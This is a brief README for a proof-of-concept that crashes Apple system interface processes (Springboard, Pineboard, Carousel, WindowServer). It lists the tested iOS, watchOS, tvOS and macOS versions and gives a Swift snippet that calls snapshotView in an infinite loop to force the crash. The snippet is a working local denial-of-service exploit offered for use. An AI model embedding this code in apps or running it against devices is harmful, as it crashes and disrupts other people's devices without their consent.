Respring

Proof of concept code to crash Springboard/Pineboard/Carousel/WindowServer

Tested on iOS 15.0, 14.3, 13.3, watchOS 7.5, 8.0 tvOS 14.3 macOS 11.1, 12.0

To cause the crash run the following code

guard let window = UIApplication.shared.windows.first else { return }
while true {
   window.snapshotView(afterScreenUpdates: false)
}